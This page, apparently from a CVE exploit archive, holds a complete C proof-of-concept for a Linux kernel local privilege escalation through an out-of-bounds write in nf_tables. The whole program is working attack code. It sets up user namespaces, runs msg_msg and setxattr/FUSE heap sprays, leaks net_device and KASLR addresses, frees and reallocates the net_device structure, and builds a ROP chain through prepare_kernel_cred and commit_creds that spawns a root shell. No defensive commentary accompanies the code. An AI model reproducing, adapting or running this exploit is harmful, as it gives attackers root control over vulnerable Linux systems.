4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
#define _GNU_SOURCE
#include "util.h"
#include "fakefuse.h"
#include <arpa/inet.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>

// #define DEBUG
#define SPRAY_128 500
#define SPRAY_128_FREE_IDX 400
#define SPRAY_192 500
#define SPRAY_192_FREE_IDX 400
#define SPRAY_4K 1000
#define LEAK_HEAP_MAX_TRIES 10

void shell();

int spray_128_qids[SPRAY_128], spray_192_qids[SPRAY_192], spray_4k_qids[SPRAY_4K];
int child_done = 0;

pthread_t thids[SPRAY_4K];
uint64_t setxattr_bufs[SPRAY_4K], setxattr_bufs_2[SPRAY_4K];

const char *spray1_path = "1", *spray2_path = "2";
char *fargs_fuse[] = {"exploit", "/tmp/foo", NULL};

static const struct fuse_operations fuse_ops = {
  .getattr = fuse_getattr,
  .readdir = fuse_readdir,
  .read = fuse_read
};

uint64_t child_net_device_leak = -1, net_device_leak = -1;
uint64_t kaslr_base;
uint64_t stack_pivot_gadget = 0xffffffffae48c7d4 - 0xffffffffae400000;
uint64_t pop_pop_pop_ret = 0xffffffffae5aafed - 0xffffffffae400000;
uint64_t pop_rdi_ret = 0xffffffffae495040 - 0xffffffffae400000;
uint64_t prepare_kernel_cred = 0xffffffffae4d4590 - 0xffffffffae400000;
uint64_t commit_creds = 0xffffffffae4d4330 - 0xffffffffae400000;
uint64_t xor_dh_dh_ret = 0xffffffffae908f19 - 0xffffffffae400000;
uint64_t mov_rdi_rax_jne_ret = 0xffffffffae9c01f4 - 0xffffffffae400000;
uint64_t pop_r12_pop_r15_ret = 0xffffffffae49503d - 0xffffffffae400000;
uint64_t kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq = 0xffffffffaf201006 - 0xffffffffae400000;
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;

void vuln(int oob_writes, int legit_writes) {
  // setup table
  struct nftnl_table *table = nftnl_table_alloc();
  nftnl_table_set_str(table, NFTNL_TABLE_NAME, "x");
  nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

  // chain
  struct nftnl_chain *chain = nftnl_chain_alloc();
  nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "x");
  nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, "y");
  nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_NETDEV_INGRESS);
  nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 10);
  nftnl_chain_set_str(chain, NFTNL_CHAIN_DEV, "lo");
  nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter");

  struct nftnl_rule *rule = nftnl_rule_alloc();
  nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "x");
  nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "y");

  struct nftnl_expr *exprs[128];
  int exprid = 0;

  exprs[exprid] = nftnl_expr_alloc("meta");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_KEY, NFT_META_PROTOCOL);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_DREG, NFT_REG_1);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

  exprs[exprid] = nftnl_expr_alloc("cmp");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
  nftnl_expr_set_u16(exprs[exprid], NFTNL_EXPR_CMP_DATA, 8);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

  exprs[exprid] = nftnl_expr_alloc("payload");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_NETWORK_HEADER);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_OFFSET, 16);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_LEN, 4);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

  exprs[exprid] = nftnl_expr_alloc("cmp");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_DATA, 0x0200007f);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

  // with these we can control the targeted kmalloc size
  for(int i = 0; i < legit_writes; i++) {
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
  }

  // oob writes
  for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
  }

  // serialize
  char buf[MNL_SOCKET_BUFFER_SIZE];

  struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
  int seq = 0;

  nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
  mnl_nlmsg_batch_next(batch);

  struct nlmsghdr *nlh;
  nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_NETDEV, 0, seq++);
  nftnl_table_nlmsg_build_payload(nlh, table);
  mnl_nlmsg_batch_next(batch);

  nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_NETDEV, NLM_F_CREATE, seq++);
  nftnl_chain_nlmsg_build_payload(nlh, chain);

  mnl_attr_put_u32(nlh, NFTA_CHAIN_FLAGS, htonl(2));
  mnl_nlmsg_batch_next(batch);

  nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_NETDEV, NLM_F_CREATE | NLM_F_APPEND, seq++);
  nftnl_rule_nlmsg_build_payload(nlh, rule);
  mnl_nlmsg_batch_next(batch);

  nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
  mnl_nlmsg_batch_next(batch);

  struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
  if (nl == NULL) {
    err(1, "mnl_socket_open");
  }

  if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
    err(1, "mnl_socket_send");
  }
}

/*
  4k spray using setxattr
*/
// Setup setxattr spray to leak kaslr
void setup_setxattr() {
  uint64_t mmap_addr = 0x50000000;

  system("touch /tmp/foo.txt");

  int fd = open("/tmp/foo/1", O_RDWR);
  if (fd < 0) {
    perror("open() failed");
    exit(-1);
  }

  for (int i = 0; i < SPRAY_4K; i++) {
    setxattr_bufs[i] = (uint64_t)mmap((void*)mmap_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
    if (setxattr_bufs[i] != (uint64_t)mmap_addr) {
      perror("[!] setup_setxattr(): mmap error 1");
      exit(1);
    }
  
    memset((void*)(setxattr_bufs[i]), 0x42, 0x1000);
    memset(((void*)(setxattr_bufs[i])) + 0x1000 - 700, 0x0, 700);

    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

    if(((uint64_t)mmap((void*)(setxattr_bufs[i]+0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0)) != (setxattr_bufs[i] + 0x1000)) {
      perror("[!] setup_setxattr(): mmap error 2");
      exit(1);
    }

    mmap_addr += 0x2000;
  }

}

void *setxattr_sprayer(void *i) {
  setxattr("/tmp/foo.txt", "user.spray", (void*)setxattr_bufs[*(int*)i]+16, 0x1000, XATTR_CREATE);
}

void spray_4k() {
  for (int i = 0; i < SPRAY_4K; i++) {
    int* arg = malloc(sizeof(int));
    *arg = i;
    pthread_create(&thids[i], NULL, setxattr_sprayer, arg);
  }
}
/* */

/*
  4k spray using setxattr - 2
*/
// Setup setxattr spray to rop
void setup_setxattr_2() {
  uint64_t mmap_addr = 0x60000000;

  system("touch /tmp/foo.txt");

  int fd = open("/tmp/foo/2", O_RDWR);
  if (fd < 0) {
    perror("open() failed");
    exit(-1);
  }

  for (int i = 0; i < SPRAY_4K; i++) {
    setxattr_bufs_2[i] = (uint64_t)mmap((void*)mmap_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
    if (setxattr_bufs_2[i] != (uint64_t)mmap_addr) {
      perror("[!] setup_setxattr_2(): mmap error 1");
      exit(1);
    }
  
    memset((void*)(setxattr_bufs_2[i]), 0x42, 0x1000);
    memset(((void*)(setxattr_bufs_2[i])) + 0x1000 - 700, 0x0, 700);

    int k = 2;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x4444444444444444;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_rdi_ret;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + prepare_kernel_cred;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + xor_dh_dh_ret;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_pop_pop_ret;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + mov_rdi_rax_jne_ret;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + commit_creds;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = kaslr_base + kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq;
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0;                        // rax
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = 0x0;                        // rdi
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_rip;                   // user_rip
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_cs;                    // user_cs
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_rflags;                // user_rflags
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_sp;                    // user_sp
    ((uint64_t*)(setxattr_bufs_2[i]))[k++] = user_ss;                    // user_ss
  
    ((uint64_t*)(setxattr_bufs_2[i]))[28] = 0x43434343; // ifindex
    ((uint64_t*)(setxattr_bufs_2[i]))[68] = (net_device_leak + 0x218) - 0xc8; // *ethtool_ops ptr
    ((uint64_t*)(setxattr_bufs_2[i]))[69] = kaslr_base + stack_pivot_gadget; // *func ptr
  
    if(((uint64_t)mmap((void*)(setxattr_bufs_2[i]+0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0)) != (setxattr_bufs_2[i] + 0x1000)) {
      perror("[!] setup_setxattr_2(): mmap error 2");
      exit(1);
    }

    mmap_addr += 0x2000;
  }

}

void *setxattr_sprayer_2(void *i) {
  if(setxattr("/tmp/foo.txt", "user.spray", (void*)setxattr_bufs_2[*(int*)i]+16, 0x1000, XATTR_CREATE) == -1) {
    perror("setxattr");
    exit(1);
  }
}

void spray_4k_2() {
  for (int i = 0; i < SPRAY_4K; i++) {
    int* arg = malloc(sizeof(int));
    *arg = i;
    pthread_create(&thids[i], NULL, setxattr_sprayer_2, arg);
  }
}
/* */

/*
  128 spray using msg_msg
*/
void spray_128() {
  char buffer[0x4000] = {0};
  msg *message = (msg *)buffer;

  memset(buffer, 0x41, sizeof(buffer));
  for (int i = 0; i < SPRAY_128; i++) {
    int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(spray, message, 128 - 0x30, 0);
    spray_128_qids[i] = spray;
  }
}
/* */

/*
  192 spray using msg_msg
*/
void spray_192() {
  char buffer[0x4000] = {0};
  msg *message = (msg *)buffer;

  memset(buffer, 0x41, sizeof(buffer));
  for (int i = 0; i < SPRAY_192; i++) {
    int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(spray, message, 192 - 0x30, 0);
    spray_192_qids[i] = spray;
  }
}

void delete_192(int i) {
  char buf[0x1000] = {0};
  get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
}
/* */

/*
  128 spray using msg_msgseg
*/
void spray_128_msgseg() {
  char buffer[0x4000] = {0};
  msg *message = (msg *)buffer;

  memset(buffer, 0x41, sizeof(buffer));
  for (int i = 0; i < SPRAY_128; i++) {
    int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    // this will allocate a 4k msg_msg and a 128 msg_msgseg
    send_msg(spray, message, 0x1080 - 0x40, 0);
    spray_128_qids[i] = spray;
  }
}

void delete_128(int i) {
  char buf[0x1000] = {0};
  get_msg(spray_128_qids[i], buf, 128 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
}
/* */

void rop() {
  struct ethtool_cmd ecmd;
  struct ifreq ifr;
  int fd;

  memset(&ecmd, 0, sizeof(ecmd));
  memset(&ifr, 0, sizeof(ifr));

  if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
    perror("socket()");
    exit(1);
  }

  ecmd.cmd = ETHTOOL_GSET;
  ifr.ifr_data = (caddr_t)&ecmd;

  strncpy(ifr.ifr_name, "lo", IF_NAMESIZE);

  ifr.ifr_name[IF_NAMESIZE-1] = '\0';
  if (!(ioctl(fd, SIOCETHTOOL, &ifr) < 0)) {
      perror("ioctl(SIOCETHTOOL)");
      exit(1);
  }
  puts("[+] ioctl(SIOCETHTOOL) done");
}

uint64_t check_heap_leak() {
  char buffer[0x4000] = {0};
  uint64_t leak = -1;

  for (int i = 0; i < SPRAY_128; i++) {
    if(i == SPRAY_128_FREE_IDX) continue;

    get_msg(spray_128_qids[i], buffer, 0x1080 - 0x40, 0, IPC_NOWAIT);

    if((((uint64_t*)buffer)[507] & 0xffff000000000000) == 0xffff000000000000)
      leak = ((uint64_t*)buffer)[507];
  }
  return leak;
}

uint64_t do_heap_leak() {
  int i = 0;
  uint64_t leak;

  do {
    #ifdef DEBUG
    printf("[*] leak net_device try no. %d\n", ++i);
    #endif

    spray_128_msgseg();
    delete_128(SPRAY_128_FREE_IDX);
    vuln(1, 1);
    leak = check_heap_leak();
  } while ((leak == -1) && (i < LEAK_HEAP_MAX_TRIES));

  return leak;
}

int child(void *a) {
  child_net_device_leak = do_heap_leak();
  child_done = 1;
  sleep(10000);
}

void leak_heap(int leak_child) {
  // Leak child's net_device struct
  if (leak_child) {
    void* stack = malloc(200000);
    int tid = clone(child, stack + 200000, CLONE_VM|CLONE_NEWUSER|CLONE_NEWNET, NULL);

    // Wait for child to exit
    while(!child_done) { 
      sleep(1);
    }

    free(stack);

    if(child_net_device_leak == -1) {
      puts("[!] couldn't leak child's net_device ptr");
      exit(1);
    }
  } else { // Leak parent's net_device struct
    net_device_leak = do_heap_leak();
    if(net_device_leak == -1) {
      puts("[!] couldn't leak parent's net_device ptr");
      exit(1);
    }
  }
}

uint64_t kaslr_leak() {
  struct ifreq *leak = calloc(1, 0x1000);
  strcpy(leak->ifr_name, "lo");

  int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
  if(!fd) {
    perror("socket()");
    exit(1);
  }

  if(ioctl(fd, SIOCGIFHWADDR, leak) != 0) {
    perror("ioctl(SIOCGIFHWADDR)");
    exit(1);
  }

  uint64_t kaslr_leak = ((uint64_t*)leak->ifr_addr.sa_data)[0];

  if((kaslr_leak & 0xffffffff00000000) == 0xffffffff00000000)
    return kaslr_leak;

  return -1;
}

void shell() {
  // thanks movaps
  syscall(SYS_execve, "/bin/sh", 0, 0);
}

void save_state() {
  __asm__(
    ".intel_syntax noprefix;"
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
  );
}

int free_netdevice() {
  char buf[0x300];

  spray_192();
  delete_192(SPRAY_192_FREE_IDX);
  vuln(6, 2);

  for(int i = 0; i < SPRAY_192; i++) {
    if (i == SPRAY_192_FREE_IDX) continue;

    get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);

    if(((uint64_t*)buf)[0] == 0x4141414100000005) {
      return 0;
    }
  }
  return -1;
}

int main(int argc, char **argv) {
  // Unshare
  if (geteuid() != 0) {
    char *args[] = {
      "unshare",
      "-Urnm",
      argv[0],
      NULL,
    };
    execvp("unshare", args);
    err(1, "unshare re-exec");
  }

  // Assign to cpu 0
  cpu_set_t my_set;
  CPU_ZERO(&my_set);
  CPU_SET(0, &my_set);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
    perror("sched_setaffinity()");
    exit(1);
  }

  // Setup FUSE
  mkdir(MNT_PATH, 0777);
  pipe(spray1_pipes);

  int pid = fork();
  if (!pid) {
    fuse_main(sizeof(fargs_fuse) / sizeof(char *) - 1 , fargs_fuse, &fuse_ops, NULL);
    puts("[!] END OF FUSE MAIN 1");
    sleep(500);
  }
  sleep(2); // Wait for fuse_main
  
  // Save state to return to userland
  save_state();

  /*
    1. Leak heap
  */
  puts("[*] STEP 1: Leak child and parent net_device");
  leak_heap(0);
  printf("[+] parent net_device ptr: 0x%lx\n", net_device_leak);

  leak_heap(1);
  printf("[+] child  net_device ptr: 0x%lx\n", child_net_device_leak);

  // Setup 4k setxattr buffer to later realloc net_device and leak kaslr
  setup_setxattr();

  /*
    2. Free net_device
  */
 puts("\n[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device");
  int freed = 0;
  for (int i = 0; i < 20; i++) {
    #ifdef DEBUG
    printf("[*] free net_device try no. %d\n", i);
    #endif

    if(free_netdevice() != -1) {
      freed = 1;
      break;
    }
    // usleep(500000);
  }
  if(!freed) {
    puts("[!] couldn't free net_device");
    exit(1);
  }
  puts("[+] net_device struct freed");
  // sleep(2);

  /*
    3. Reallocate net_device
  */
  puts("\n[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net_device");
  spray_4k();
  sleep(2);

  if(if_nametoindex("lo") == 0x42424242) {
    puts("[+] obtained net_device struct");
  } else {
    puts("[!] couldn't realloc net_device struct");
    exit(1);
  }

  /*
    4. Leak kaslr
  */
  puts("\n[*] STEP 4: Leak kaslr");
  // Leak kaslr
  if((kaslr_base = kaslr_leak()) == -1) {
    puts("[!] couldn't leak kaslr");
    exit(1);
  }

  printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
  kaslr_base -= 0x130a420;
  printf("[*] kaslr base: 0x%lx\n", kaslr_base);

  /*
    5. Free net_device and realloc it
  */
  puts("\n[*] STEP 5: Release setxattrs, free net_device, and realloc it again");
  char buf[SPRAY_4K] = {0};
  write(spray1_pipes[1], buf, sizeof(buf));

  for (int i = 0; i < SPRAY_4K; i++)
    pthread_join(thids[i], NULL);

  // Setup 4k setxattr buffers to realloc net_device and start rop
  setup_setxattr_2();

  spray_4k_2();
  sleep(2);

  if(if_nametoindex("lo") == 0x43434343) {
    puts("[+] obtained net_device struct");
  } else {
    puts("[!] couldn't realloc net_device struct");
    exit(1);
  }

  /*
    6. Roppp :)
  */
  puts("\n[*] STEP 6: rop :)");
  rop();

  return 0;
}